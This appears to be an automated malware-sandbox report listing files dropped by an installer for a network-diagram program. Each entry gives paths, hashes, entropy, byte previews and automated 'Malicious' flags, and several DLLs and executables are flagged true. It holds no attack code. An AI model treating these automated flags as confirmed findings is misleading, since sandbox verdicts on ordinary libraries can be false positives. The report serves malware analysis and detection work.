SSDEEP:	768:iWrWvB3jB8UJjRqHNl1g2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKc:iYW1jCUJjRqtl11
MD5:	5E71266FE44B81057E546A2ADEE49131
SHA1:	3AFBF0D78EE50F6B489572FE1D2C0C9BF8016580
SHA-256:	21889C505A0234524AC95081260329ACEE5100ED2D30278B52399D62D8AA801E
SHA-512:	8287D973C71DB110B092CC99B9908571474409B1818799142651262E8D345EBBACE2066F02354B0966D3DB742EAA9FB41174C17A338074C213C1F78E7857DE87
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\Visio\is-GPFUN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	796010
Entropy (8bit):	7.990815300175507
Encrypted:	true
SSDEEP:	24576:40vGRPRqM0RpueplpGLpT+DlW3y/E3kd+:40vGRPRqM8lpGLpwlWi3d+
MD5:	20D3CBCE0D291FB238CD046B7BC3744D
SHA1:	F4143CA63D500526B94FA86EA7302749B63CE4C0
SHA-256:	4E6E085089C471B6418195D056D8F32224D45273ACC7ABBA3076D94ED9480434
SHA-512:	763E91636C22BEA80ADA482BFAD3B31F13694A59C9655EA1214A2F1C6F637076A079AE73377E78475438E81798F017B6DF5C270161DBD4B1E0E0484FAFE06649
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.V..c............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................]o.0...'.?D....vmE..>..^.?.J....Ql(..;...1.).....<..<.x~.m.dc.`.+R.....W.-....{v.&!jW..;S./&....../....](.U...c.\.V..w..J..VG../Y.._zi...Y.]4.fq...._M..ML.m..}'........U.....lXa'3.i....:....U.:..]..=.V..........]..8.~.8{[..A..n.w...-V.r.....u.F..2y.....[m.kg..T...].......3:NbHg..2}..8..D..x..k[..D.p.....u...o.....a..=.7..~A..3=D...).......#...5=.jz.....#n.G.N..3...7.....s....8.H...s.....x.........x.........x.

C:\Users\user\AppData\Local\NewStar\Visio\is-HOV2G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: Alex M, Name of Creating Application: Microsoft Visio
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	6.5220907812181945
Encrypted:	false
SSDEEP:	768:e4Ojp2NtewXUdPSQ8fgh/1w7UxmSGGGGGGGGGGGGGGGG5GGGGGGGGGGGGG5GvBdl:d2p2TkdKvfgh/1wYpBknOmrRd8
MD5:	21EFB66726A048B081DBE70AF3B49532
SHA1:	64256CF635B71BF886446D24A6C82304AE4DF57E
SHA-256:	CEC8E2D6EEA74362909EDB714B8B9EBFA0E6B6BDE893EB1F3B944A7A5B8310BA
SHA-512:	4DF1CB0EFF47473E033E8C5C58E86D5B8A63DD11A658F1E69941A71C5BFFD80BBCFE77DC6EA5CE6693F1A59D194A1BFC4BE51F0FD9DEDAB8A03406055AB8E886
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\Visio\is-KOTAO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	10941
Entropy (8bit):	6.980443262363119
Encrypted:	false
SSDEEP:	192:eQ8VBwf7aUxu+Cuj1pCUTB37vLQJgWlYD+hVMdZgOZCKrHGRG41hHFSYz0U:3z7aUHj1pCSRrLwzlYDuMdiOBHGjhHF3
MD5:	3DC27A0A53DAA4A9A26BA4BD4FF6EFC4
SHA1:	67B7A181A16B7F9B0DD6A261F82F60AAE9C55FE4
SHA-256:	FC4EA91C0B13CD0C437450EF1FB39C94C12AF52A0B2B2D5C4C66E8C04D907AFE
SHA-512:	B1FA59214BD60844BD0AEDAC15F02702CE133FA4FF2048C17D944E4A1EC54CDC1B8FC380B35B9B4F0758B1BA03957E74FAC6B7EE307A2896F292E90D2317709E
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..`.l]...@.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................S.N.0..#....(q..!...#.P>..'.E...n..8i#Z...K.d..y..v..6.P;[.q1b.X..}...G.a.V..Y(.....7....f..X.U...s.+0.....r..H.a.._b..~4z....6.1q....*..c.....0...sI.d.$..O.~....3...RD.o.:s..\..l..J{.#.(............l.B\|......rrmh..:O2j0o0E.....Fh{.vI....y.t..P8-..".sOD.........pAWUZB........r....4=..6=.G..M...]...Z.......o.Un;...r....?........PK..........!..X.%...^......._rels/.rels ...(....................................

C:\Users\user\AppData\Local\NewStar\Visio\is-N5C1M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	33880
Entropy (8bit):	7.741625539763484
Encrypted:	false
SSDEEP:	768:jzhnOhaeVEHYAS/uE126rOUP79Qt5Nu3RTAzj2EkZDwn2R3:jzcseVEHTSGEM6P9QtzuBTAnjko2R3
MD5:	101E481D0031B0B3EC8DA95C90361E5B
SHA1:	67012D9A226EF237E541FADA023AD1794920569A
SHA-256:	59AE6C45A11933363D0EA6797854E09E0D0002D25F634A280467A4F805DAEC3A
SHA-512:	B6BDBA204F3B5245B8F59FD0CB558FAD98B4D37BF8DC9785ED5E9576EDCD8C965C0F2AA8512B7140865F53EFE4B7E93759126BFD21505A8BF410653464841C1D
Malicious:	false
Reputation:	unknown
Preview:	PK..........!...j.w..........[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J..(.j.....(.`./.E<.v...eh$P).P6.b..s.^,O.{].-.....0.P.FX......dBI..H^X..=@.....typ...M..:F..X.k.<.....z.#~..s\\|....`0f..&&.....3.\|SD...:.."P.T/,Y....J..I......!.....r..cPv.P...ht.X..$....k....#2i.F.&..>eP..J...PE..2.d......,.......V.T'...G.m-.....6..."P.Q........7....^7...g.5..".=m$..y.1.........q.?.....C..I....B....].+..Gb....N.....n........PK..........!................._rels/.rels ...(..........

C:\Users\user\AppData\Local\NewStar\Visio\is-OVLK7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	21075
Entropy (8bit):	7.554305714727671
Encrypted:	false
SSDEEP:	384:mGVjXBTgCjDyjdbBHzh2+lxw2aro4QxkK4jK1uxlBW+0S35:NNgCjujF5DsoDkj70+0Sp
MD5:	C027B58057CB33B7D1EF9B7204B83DF7
SHA1:	1DCD0B9F11886EB3BEAE7E4CC9AA725BAA49342D
SHA-256:	5612A57A73B168840EB7FBBCA3981E244D349A121B082EE6CDD593119E4C8873
SHA-512:	CE5DA3D2D196B5F1FE14FC3F4582171D47E9776996082A46EE01A9F0A3EA9252EA1F078C720FE6880BD160FB037F7D571B561D625D35D4BA0F5E1261BFDD4077
Malicious:	false
Reputation:	unknown
Preview:	PK..........!.L?..f...;.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J...!...%tQ>.._Z.x..;.=/..@.4B.$J.{..u..\|o+........g.......\|..9.$...wP.. .....C.d.vX.uJ.A.Tk..s...H....J..>...d4.....e......rS%....m...r..N.Y..!TF.DI......#.l.......\.%.#..:..U.....1.JK1..PD...XZD~..j1k49..r+..Jv.@...RQ...\|.o.Vg.. &.}.'.T.p./K..o..m.........6g....6.? .....=.$....c<.1.1.<....@...A.!....v.i....I..Es..>.......PK..........!................._rels/.rels ...(...........................

C:\Users\user\AppData\Local\NewStar\Visio\lines.vss (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: Alex M, Name of Creating Application: Microsoft Visio
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	6.5220907812181945
Encrypted:	false
SSDEEP:	768:e4Ojp2NtewXUdPSQ8fgh/1w7UxmSGGGGGGGGGGGGGGGG5GGGGGGGGGGGGG5GvBdl:d2p2TkdKvfgh/1wYpBknOmrRd8
MD5:	21EFB66726A048B081DBE70AF3B49532
SHA1:	64256CF635B71BF886446D24A6C82304AE4DF57E
SHA-256:	CEC8E2D6EEA74362909EDB714B8B9EBFA0E6B6BDE893EB1F3B944A7A5B8310BA
SHA-512:	4DF1CB0EFF47473E033E8C5C58E86D5B8A63DD11A658F1E69941A71C5BFFD80BBCFE77DC6EA5CE6693F1A59D194A1BFC4BE51F0FD9DEDAB8A03406055AB8E886
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\Visio\lines.vssx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	33880
Entropy (8bit):	7.741625539763484
Encrypted:	false
SSDEEP:	768:jzhnOhaeVEHYAS/uE126rOUP79Qt5Nu3RTAzj2EkZDwn2R3:jzcseVEHTSGEM6P9QtzuBTAnjko2R3
MD5:	101E481D0031B0B3EC8DA95C90361E5B
SHA1:	67012D9A226EF237E541FADA023AD1794920569A
SHA-256:	59AE6C45A11933363D0EA6797854E09E0D0002D25F634A280467A4F805DAEC3A
SHA-512:	B6BDBA204F3B5245B8F59FD0CB558FAD98B4D37BF8DC9785ED5E9576EDCD8C965C0F2AA8512B7140865F53EFE4B7E93759126BFD21505A8BF410653464841C1D
Malicious:	false
Reputation:	unknown
Preview:	PK..........!...j.w..........[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H...-J..(.j.....(.`./.E<.v...eh$P).P6.b..s.^,O.{].-.....0.P.FX......dBI..H^X..=@.....typ...M..:F..X.k.<.....z.#~..s\\|....`0f..&&.....3.\|SD...:.."P.T/,Y....J..I......!.....r..cPv.P...ht.X..$....k....#2i.F.&..>eP..J...PE..2.d......,.......V.T'...G.m-.....6..."P.Q........7....^7...g.5..".=m$..y.1.........q.?.....C..I....B....].+..Gb....N.....n........PK..........!................._rels/.rels ...(..........

C:\Users\user\AppData\Local\NewStar\Visio\netdiagram.vst (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1251, Author: Alex M, Template: C:\work\NetDiagram\visio\netdiagram.vst, Last Saved By: Alex M, Name of Creating Application: Microsoft Visio, Last Saved Time/Date: Tue Aug 14 11:36:07 2012
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.743855635666745
Encrypted:	false
SSDEEP:	192:rgxToQ+gDZlSKcVZRVLClWmELJyZP6aTK3:rgxMnKwLClWmyg6iK
MD5:	78C84AA115E8C391EC7A4117613D7794
SHA1:	C4E3C4B8CA5A3B9E8AE1378E839154E33B394662
SHA-256:	0851AE8F561F49278C8AD81363F15481235EC3DF0CF80C73408D3D226BCC9612
SHA-512:	83E134533BC8C03B8D2DF23E4C9B77DA2236E90BB336F1F565C5C46F6A7495FA2A1AE090B9400CDC44354887FD7D29B3F3EE8D9A3D81A8F2AFB45C9086BFD328
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\Visio\netdiagram.vstx (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	Microsoft Visio 2013+
Category:	dropped
Size (bytes):	10941
Entropy (8bit):	6.980443262363119
Encrypted:	false
SSDEEP:	192:eQ8VBwf7aUxu+Cuj1pCUTB37vLQJgWlYD+hVMdZgOZCKrHGRG41hHFSYz0U:3z7aUHj1pCSRrLwzlYDuMdiOBHGjhHF3
MD5:	3DC27A0A53DAA4A9A26BA4BD4FF6EFC4
SHA1:	67B7A181A16B7F9B0DD6A261F82F60AAE9C55FE4
SHA-256:	FC4EA91C0B13CD0C437450EF1FB39C94C12AF52A0B2B2D5C4C66E8C04D907AFE
SHA-512:	B1FA59214BD60844BD0AEDAC15F02702CE133FA4FF2048C17D944E4A1EC54CDC1B8FC380B35B9B4F0758B1BA03957E74FAC6B7EE307A2896F292E90D2317709E
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..`.l]...@.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................S.N.0..#....(q..!...#.P>..'.E...n..8i#Z...K.d..y..v..6.P;[.q1b.X..}...G.a.V..Y(.....7....f..X.U...s.+0.....r..H.a.._b..~4z....6.1q....*..c.....0...sI.d.$..O.~....3...RD.o.:s..\..l..J{.#.(............l.B\|......rrmh..:O2j0o0E.....Fh{.vI....y.t..P8-..".sOD.........pAWUZB........r....4=..6=.G..M...]...Z.......o.Un;...r....?........PK..........!..X.%...^......._rels/.rels ...(....................................

C:\Users\user\AppData\Local\NewStar\file_id.diz (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.4399730864921905
Encrypted:	false
SSDEEP:	6:c+SdoDGi9C9quMc4D+2ZZQTHGdt53D6OL8Qy:U899ZuMcmvGHG5z6VQy
MD5:	5D1F6956165E6F95D80C0EC48C4B7B39
SHA1:	035D8BBF724413EE63BD5E1CA33983552475A650
SHA-256:	CD18B928D2F2F1AAE123C23CC934EF42E89E4CDEAECD2D0961D84A4B2EFF09E7
SHA-512:	5A8317D0A3CA91BD0CDDBA9A846E773F8AD1CE2C42140E8E55307E5AEF812FF06C89E1DFE40230D309E40522CA1DF9D861AB0D551ED2478E272D22314BC70EE0
Malicious:	false
Reputation:	unknown
Preview:	"10-......: ..... ...." 3.9............. ... ........ ............... ..........Windows XP/2003/Vista/2008/7/8/2012/10/../2016/2019....(c) 10-Strike Software, 2008-2023..https://www.10-strike.ru/..

C:\Users\user\AppData\Local\NewStar\is-2Q3FJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	716789
Entropy (8bit):	6.514257881433504
Encrypted:	false
SSDEEP:	12288:STPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuyVwRxyFO:aPcYn5c/rPx37/zHBA6pDp2mIEiyCRxB
MD5:	7A7639C69EA1CE1B2274DEE104D481E9
SHA1:	5869128AA9452F933341A70506DFC0853E8778A4
SHA-256:	FD8CEE7E2E0C3C1EC8FF4BC3DAC59D5BFFD7D50A81319CA21E6E5A9B85F9D630
SHA-512:	0C03D7B12029D274522C0774D7C26CB632492F5C083FE1D2BD91B30F2261BBB8D96B9BFA6C85B8DF30610542D30FF9EAAEE0A7C9D9EEA25403B77D51F1B2128E
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\NewStar\is-9AB6V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	ISO-8859 text, with very long lines (584), with CRLF line terminators
Category:	dropped
Size (bytes):	5036
Entropy (8bit):	4.851052909539205
Encrypted:	false
SSDEEP:	96:j0kJ9PfltyDJMJ3dhip+1dvToM7ic/67kZ3okehLeV7cYq7:j4ENhhvMMxeSGr7
MD5:	DC55027FDFFA56D9112D3D0E4F9AEA5E
SHA1:	94B340BB7E649B348F711E692159193C15FFE6B6
SHA-256:	5AF24498951E305FE55378C58808261359DC559CC11BE72A56726AECD1F8676F
SHA-512:	8DCD22BAC7ED110B4511D52B612FFB5748241951F4022D625691A9600138171324BCC69854D6C3AF1DF4ED50B746E803BD5DFF8B8CFC29E2D80A856E79D1E549
Malicious:	false
Reputation:	unknown
Preview:	............ .......... (.......) ......................... ............ .......... (.......) ........ ............ (......... .......) . ........ ....... . ... ............ ....... ............. .... (..... - ............ ... .........) ......... ... ... "10-......: ..... ...." (..... .........). ... ............ . ......... ........... .. ........ .... (..... - ............... ... .........) - .......... .............. ............. ......... .... .. ......... ... ... "10-......: ..... ....", ....... ........... ............ . ... . ........ ./... ........... .... - ......... ............ ............ (........ .... ..... ....... ...) ................ ..... .. ............. ........., ............ ...... ........... . ....... ......... . ............ . .............. ......... ........... (.........) ......... . ......... (....... ................ ........)............ ....... ...... (............. ..........)..=================================================........... ...... (....

C:\Users\user\AppData\Local\NewStar\is-9IS1N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\is-EAF0N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\is-KLU82.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	ISO-8859 text, with very long lines (339), with CRLF line terminators
Category:	dropped
Size (bytes):	15866
Entropy (8bit):	5.020543360778776
Encrypted:	false
SSDEEP:	384:Aqw+UCSCoILf3W+RC1L2X3Mnh+Yw/QptSMPWbaQP:Wc4Ir3Wh2DF4p4laQP
MD5:	BF23B0CB3FB4563A8E76D948920310FF
SHA1:	138D3D1C57DD3FF788843BC088B1A5C01F4852AE
SHA-256:	E98378B5F1FB11DE06503B2143B593D1CB66B2B2E8F831FA39472F83AFDAEB26
SHA-512:	D26A7FE7C29DF0D8843218FC2E89D25B2CA85C6CEE53AB454F17B442673006731AF31F49A7EB6EE1A982A6F347BE87E115D86017C5C1E5D8ECD29ECD640C5FD2
Malicious:	false
Reputation:	unknown
Preview:	* 10-......: ..... .... ..https://www.10-strike.ru/network-diagram/..(c) 2008-2023, 10-Strike Software..----------------------------.. ... ......:.... 3.9 * ...... 2023..- ........ ..... .. ......... ONVIF . ......... ..... ............... .. ..... . ............ RTSP URL...- ......... ........... ........ ......... .... ........... . ......... ........ .. ........- ........ ..... .. ........ ........ .... . ....... ....... .. ............- ......... ........... .......... ..... .. ........... ......... .........- ......... ........ ...... ...... ..... . Excel...- .......... ............... ......, ..... ...... ........ ..... ...... ... .............* 3.8 * .... 2022..- ......... ...... ......... . "........ ......"...- ....... ........ ..... ...........- ......... ......... ..... ....... ......... . "........ ....."...- ......... ........... ........ ............ ............ . ...... ......... . ............ .. .. ...... ..- ......... .... .............. ....... ............- ..

C:\Users\user\AppData\Local\NewStar\is-KRTJG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\is-NPO4N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.4399730864921905
Encrypted:	false
SSDEEP:	6:c+SdoDGi9C9quMc4D+2ZZQTHGdt53D6OL8Qy:U899ZuMcmvGHG5z6VQy
MD5:	5D1F6956165E6F95D80C0EC48C4B7B39
SHA1:	035D8BBF724413EE63BD5E1CA33983552475A650
SHA-256:	CD18B928D2F2F1AAE123C23CC934EF42E89E4CDEAECD2D0961D84A4B2EFF09E7
SHA-512:	5A8317D0A3CA91BD0CDDBA9A846E773F8AD1CE2C42140E8E55307E5AEF812FF06C89E1DFE40230D309E40522CA1DF9D861AB0D551ED2478E272D22314BC70EE0
Malicious:	false
Reputation:	unknown
Preview:	"10-......: ..... ...." 3.9............. ... ........ ............... ..........Windows XP/2003/Vista/2008/7/8/2012/10/../2016/2019....(c) 10-Strike Software, 2008-2023..https://www.10-strike.ru/..

C:\Users\user\AppData\Local\NewStar\is-RE9LK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	data
Category:	dropped
Size (bytes):	2257728
Entropy (8bit):	6.698632836266152
Encrypted:	false
SSDEEP:	49152:gfI2EJDf6TVt0idwFPYIuJIVjqNy1Pj2/4h8H:gTEJ2TVrdMPluJsqNuPj2X
MD5:	3509CC707EA4AB8264D142AD4FD36252
SHA1:	246322F741340E2D89D547D637EC2D9A58784B9B
SHA-256:	E650083453D229859A6FF3EFFE831D6E554D05CCEB4983AF75209B0ED9A68D2F
SHA-512:	974775AD5FDF7987E4193FE22C4CB62CC61FA7D086352845BBEB5791A2B4F2D5092A91D20303489097B152F61EF4368DA7D3D4486D2B5527B0630896DBE7B1C4
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....OT_.........."................. .............@..........................."..........................................................`...........................................................................................................text............................... ..`.yhead8.` .......0..................@..@.data...WT... ...0... ..............@....rsrc....p.......p...P..............@..@.zhead8.........@...................a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Reputation:	unknown
